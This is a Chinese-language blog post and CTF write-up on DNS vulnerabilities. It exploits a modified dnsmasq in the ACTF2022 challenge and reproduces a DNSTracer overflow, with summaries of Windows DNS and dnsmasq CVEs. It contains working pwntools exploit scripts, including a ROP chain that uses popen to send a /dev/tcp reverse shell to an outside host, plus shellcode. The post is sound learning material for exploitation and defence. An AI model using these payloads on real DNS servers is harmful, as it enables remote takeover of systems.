DNS漏洞初探
2022-12-24 02:29:19

DNS漏洞初探

DNS协议

DNS请求和响应的基本单位都是DNS报文(Message),并且每个报文由5段Section构成:

DNS Header:DNS头部区域,每个DNS报文都必须拥有的一部分,长度固定为12个字节

ID:同一个查询或响应对应的16位ID

QR:查询(0);响应(1)

Opcode:标准查询或者反向查询

TC:UDP长度大于512时截断并使用TCP再次请求

QDCOUNT:查询数量

ANCOUNT:响应数量

Question:DNS查询区域,存放向服务器查询的域名数据,一般情况下只有一条Entry

查询区域主要由目标查询域名,查询类型和查询类组成

格式:length + string

Entry结构:

Answer:DNS响应区域,由资源记录的域名,RDATA的类型,RDATA类,TTL值,RDARA长度和RDATA组成

Authority:DNS认证区域

Additional:DNS附加区域

后三个区域部分格式一致,每个部分都由若干实体组成,每个实体就是一条RR(资源记录)

RR(ResourceRecord)资源记录:

NAME:指定该条记录对应的域名
TYPE:资源记录类型
CLASS:指定请求的类型,对应Question的QCLASS,常用值:IN,值为0x001
TTL:资源有效期,你可以将该条RR缓存TTL秒,TTL为0表示该RR不能被缓存
RDLENGTH:两字节非负整数,指定RDATA字节长度
RDATA:长度和结构都可变得字段,具体结构取决于TYPE字段指定的资源类型

DNS常见资源记录类型:NS记录,A记录,CNAME记录

NS记录:指定某个域的权威DNS
A记录:域名与IP的对应
CNAME记录:别名记录,允许奖多个记录映射到同一台计算机上

ACTF2022 Mater of DNS

获取源软件

首先查看DNS的版本

通过版本号获取软件源码:

https://thekelleys.org.uk/dnsmasq/

拥有了源码后,我们将自己进行编译,而编译又受制于编译器的版本和编译器选项

检查文件保护

32位程序,未开启canary和PIE

修改Makefile中编译选项:

==》修改为:

需要关闭canary与PIE

-m32:生成32伪代码
-fno-stack-protector:关闭canary
-no-pie:关闭PIE
-O2:编译优化

编译

make

编译完成后的二进制程序将会在软件源码的src路径下:dnsmasq

二进制对比分析

通过二进制对比软件BinDiff检查不同之处

在DinDiff中导入两个程序的数据库文件(IDA分析后产生的文件)

等待分析结果:

发现有一小部分不相同,查看不相同的位置:

相似度由低到高排序

Similarity为1是相同,数值越低表示相似度越低

经过对所有不相似结果的检查判断,最终锁定于extract_name函数中

在Master of DNS中的sub_0804F345中多出了memcpy函数

漏洞确定

通过IDA静态分析得知,该memcpy函数为往栈上拷贝内容,dest是栈上的一段缓冲区

通过在dnsmasq项目中搜索extract_name函数:

grep -rn "extract_name" *

进入src/rfc1035.c文件中查看函数:

得知memcpy函数的src参数为extract_name函数的name参数

对sub_804F345函数进行分析:

最大长度为0x400

域名通过’.’分割,后面是一个将大写字符转换成小写字符

GDB动态调试

使用动态调试确定函数功能是否如自己所想

#终端1
sudo ./start.sh   #(1)

#终端2
sudo ps -ef |grep dns #获得对应PID (2)

dig @127.0.0.1 -p 9999 baidu.com #执行正常的DNS查询  (6)

#终端3
gdb --pid [PID]  #(3)

b * 0x804F444  #下断点于memcpy函数处 (4)
c    #(5)

正如静态分析一样,src中为要查询的域名;

由于比dnsmasq添加了memcpy函数,猜测为栈溢出相关漏洞==》

尝试查询超长域名:没有出现程序崩溃,但是出现了两种报错

1、域名长度超过255个字符

2、域名每个段标签长度超过63个字符,也就是两个”.”之间的字符串

流量调试

dig @127.0.0.1 -p 9999 baidu.com
wireshark流量捕获

启动wireshark,监听网卡(我使用的ubuntu虚拟机使用的是桥接模式,所以我会选择WLAN网卡)

过滤DNS流量:

由数据包可知,构造数据包的数据有:

头:随意的Transaction ID + 01 20 00 01 00 00 00 00 00 01

尾:00 01 00 01

尝试溢出

域名需要控制每个label(段标签)为63字节(0x3f)

需要1字节的label length

==》每个label需要0x40

name总长度不能大于0x400

==》总共可以构造16个label

查看IDA中dest距离栈底一共0x381字节

from pwn import *

io = remote('127.0.0.1',9999,typ='udp')
head = bytes.fromhex("000001200001000000000001")
payload = b'\x3f'+b'A'*0x3f
payload = payload * 14 + b'\x04' + b'aaaa' + b'\x04' + p32(0xdeadbeef) +  b'\x00'
end = bytes.fromhex("00010001")

io.send(head + payload + end)

通过gdb调试:

成功触发栈溢出,并且劫持返回地址

漏洞利用

由师傅们的文章知晓udp协议中不能直接执行system(‘/bin/sh’);

所以考虑将shell反弹至vps上(或wegt,nc等);

程序中并无system函数;

但是有popen函数,popen函数会将第一个参数放到新fork的进程中执行并抓取返回结果==》命令执行

第二个参数为字符串,固定为”r”,”w”等,表示读写

popen("touch /tmp/x","r");

接下来就是缺一个可以执行的命令,为了反弹shell至vps==》

需要将要执行的命令写到bss段上==》

在程序中有这么这么一段链,只要能控制eax寄存器就能实现任意地址写

所以还需要一个控制eax的gadget:

并且,发送的域名中还不能有\x00和\x2e==》需要添加一个地址最后为\x2e的无用gadget

from pwn import *

io = remote('127.0.0.1',9999,typ='udp')

head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")

magic = 0x804b2b1
eax_ret = 0x08059d44
bss=0x80a7070
popen_addr = 0x804ab40
exit_addr = 0x804ad30
w_addr=0x080A6660

payload = b'\x3f'+b'A'*0x3f
payload = payload * 14 + b'\x04' + b'aaaa'
payload += p32(eax_ret) + p32(bss)#控制eax寄存器的值为bss_addr

cmdarray = []
cmd = b'/bin/sh -i >& /dev/tcp/xx.xx.xx.xx/x 0>&1'.ljust(44,b'\x00')  #44

#将命令分为若干4字节
for i in range(int(len(cmd)/4)):
    cmdarray.append(u32(cmd[i:i+4]))

#将执行命令写至bss段    
for i in range(6):
    payload += p32(magic) + p32(value[i] ^ 0xffffffff)

payload += b'\x3f'
payload += b'\xa9\x04\x08'  #nop_ret

for i in range(6,11):
    payload += p32(magic) + p32(value[i] ^ 0xffffffff)

#最后执行popen("命令","w")    
payload += p32(popen_addr) + p32(exit_addr) + p32(bss+4) + p32(w_addr) + b'aaaa\x00'

io.send(head + payload + end)

DNS服务漏洞搜集及简述

CVE-2017-9430

DNSTracer 1.9缓冲区溢出

相关链接:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9430

#exp:
https://www.exploit-db.com/exploits/42424

描述:DNSTracer是用来跟踪DNS解析过程的应用程序;DNSTracer 1.9及之前的版本中存在栈缓冲区溢出漏洞;

攻击者可借助带有较长参数的命令行利用该漏洞造成拒绝服务攻击,出现原因为较长参数argv[0]与strcpy函数的处理不当造成。

编译安装DNSTracer

wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./configure
make && sudo make install

#检验是否安装完成
dnstracer -v

确定漏洞点:dnstracer.c

main:

argv大小为:

漏洞分析:

使用strcpy函数将argv[0]复制到数组argv0,并没有做检查,导致当argv[0]大于1024字节时将触发栈溢出

触发栈溢出漏洞:

dnstracer -v $(python -c 'print b"A"*1025')

由于在未改变编译选项,所以现在的程序将会是保护全开的

为此,与上文中DNSmasq编译类似,关闭canary与PIE

Makefile:

CC = gcc -fno-stack-protector -no-pie -z execstack -D_FORTIFY_SOURCE=0

再次编译即可:

然后在root权限下关闭ASLR即可

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

动态调试溢出长度:

gdb dnstracer

cyclic 1200
#设置参数
set args [垃圾数据]
r

在调试途中还学习到可以直接使用pwntools设置argv

from pwn import *
io=process(argv=['程序名','自定义数据'……])

将成功覆盖返回地址:

==》得出溢出长度为1096

gdb验证:

set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb

r

成功劫持返回地址:

并且在测试途中还发现了一个有趣的东西

当我选择只传入1096字节的数据时:

并且rbx数据的内容是可控的==》经过计算得知1048字节后即为rbx数据,再之后就是r12~r15的数据

set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggg

若将rbx直接设置为shellcode将会直接跳转至shellcode,但是并不能执行,因为在该段内存空间并没有执行权限

set $rbx="jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"

但是并没有执行权限

故,此路暂时不通,虽然暂时不能利用获得shell,但是通过已经了解了改漏洞的成因和调试方法即可(实在太太菜连shell都拿不到)……(待日后我突然开窍了就懂利用了再来补充),并且在阅读exp可知,payload本质上就是垃圾数据+jmp esp+shellcode(嘴硬)

CVE-2020-1350

Windows DNS漏洞

相关链接:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1350

漏洞描述:DNS.exe在处理畸形的DNS Sig消息时,由于对数据包的字段检验不合格,将导致整型溢出,进而导致堆溢出。

漏洞抽象模型:

void Examples(char* in)
{
    unsigned short len_p1 = len(in.p1); //假设len_p1=0xFFD0
    unsigned short len_p2 = len(in.p2); //假设len_p2=0x40
    unsigned short len_p =  len_p1 + len_p2;  //相加后高位数据被丢弃==》0x10010==》0x10
    char* buf = (char *)malloc(len_p); //申请0x10
    memcpy(buf, in.p1, len_p1);  //导致堆溢出
}

DNS.exe:Windows server 2008

漏洞发生于SigwireRead函数:

该函数用于处理SIG类型的响应包,RR_AllocateEx用于分配空间,并且分配的大小由CX寄存器传入,CX寄存器只有16 bit,大小为0~65535,使用整型溢出构造size>65535,再由memcpy函数实现堆溢出。

其他缓冲区溢出漏洞

受影响版本:DNSmasq < 2.83

CVE-2020-25681:

漏洞描述:位于sort_rrset()中的堆溢出漏洞

函数接受响应数据包(header),数据包长度(plen)

rrset是指向资源记录集合中RR数组的指针

rrsetidx是集合中的RR数

rr_desc是指向与RRset关联的RR类型的描述符指针

buff1与buff2为两个缓冲区,大小都为2050

CVE-2020-25682:

漏洞描述:位于extract_name()中的缓冲区溢出漏洞

CVE-2020-25683:

漏洞描述:位于rfc1035.c:extract_name()中数据长度未检查导致使代码可以在get_rdata()中出现以负大小执行memcpy()的堆溢出漏洞

CVE-2020-25687:

漏洞描述:位于rfc1035.c:extract_name()中数据长度未检查导致使代码可以在sort_rrset()中出现以负大小执行memcpy()的堆溢出漏洞

总结

对于DNS相关漏洞的挖掘初探,虽然很多漏洞并不能复现成功,算是不虚此行(嘴硬),但是也是定位了漏洞所在位置;

并通过复现相关漏洞编号,了解到可以通过新(补丁后),老程序对比定位漏洞位置;对于DNS数据包的构造相关知识;对于DNS程序的初步动态调试。